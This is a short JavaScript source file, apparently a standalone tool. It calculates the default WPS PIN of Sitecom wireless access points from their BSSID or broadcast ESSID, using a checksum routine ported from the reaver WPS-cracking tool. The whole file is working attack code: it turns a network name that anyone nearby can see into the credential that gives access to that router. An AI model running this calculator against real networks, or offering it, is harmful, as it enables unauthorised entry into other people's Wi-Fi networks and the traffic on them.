Sitecom WPS Calculator

sitecom-wps.js

/**
 * SITECOM WPS KEY Calculator
 * 
 * Calculates the WPS key of a Sitecom AP in the OUI range of 00:0C:F6
 */

/*
	Checksum calculation, based on wps_pin_checksum in wps_common.c
	Source:	http://reaver-wps.googlecode.com/svn/trunk/src/wps/wps_common.c
*/
exports.calculateChecksum = function(pin,callback){
	if (typeof(pin) === 'string' && pin.length !== 7)
		return false;
	key = parseInt(pin);
	var accum = 0;
	while (key){
		accum += 3 * (key % 10);
		key = parseInt(key/10);
		accum += (key % 10);
		key = parseInt(key/10);
	}
	callback((10 - (accum % 10))%10);
}

exports.calculateWPSKey = function(bssid){
	if (typeof(bssid) !== 'string' || bssid.length !== 17)
		return false;
	bssid = bssid.toUpperCase();
	if (bssid.indexOf('00:0C:F6') !== 0)
		return false;
	var lastPart = bssid.substr(-8).replace(/:/g,'');
	var last = parseInt(lastPart,16).toString().substr(-7);
	
	exports.calculateChecksum(last,function(check){
		console.log("\nPIN: "+last+check);
	});
}

exports.calculateSitecom = function(essid){
	// accepts strings like 'SitecomB3F6C0'
	if (typeof(essid) !== 'string' || essid.length !== 13)
		return false;
	essid = essid.toUpperCase();
	if (essid.indexOf('SITECOM') !== 0)
		return false;
	var last = essid.substr(-6);
	var bssid = '00:0C:F6:' + last.substr(0,2) + ':' + last.substr(2,2) + ':' + last.substr(4,2);
	console.log("\nBSSID: "+bssid);
	exports.calculateWPSKey(bssid);
}

//exports.calculateWPSKey('00:0C:F6:B3:F6:C0');
exports.calculateSitecom('SitecomB3F6C0');